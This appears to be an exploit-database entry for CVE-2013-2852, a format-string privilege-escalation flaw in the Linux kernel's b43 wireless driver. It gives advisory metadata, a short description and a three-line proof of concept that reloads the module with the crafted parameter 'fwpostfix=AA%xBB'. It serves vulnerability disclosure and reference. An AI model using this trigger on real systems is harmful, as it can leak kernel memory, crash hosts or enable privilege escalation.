Linux Kernel 3.3.5 - 'b43' Wireless Driver Privilege Escalation

Author: Kees Cook
type: local
platform: linux
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date_added: 2013-06-07 
date_updated: 2015-10-29 
verified: 1 
codes: CVE-2013-2852;OSVDB-94034 
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source: https://www.securityfocus.com/bid/60410/info

Linux kernel is prone to a local privilege-escalation vulnerability.

Local attackers can exploit the issue to execute arbitrary code with kernel privileges or to crash the kernel, effectively denying service to legitimate users.

# rmmod b43
# modprobe b43 fwpostfix=AA%xBB
# dmesg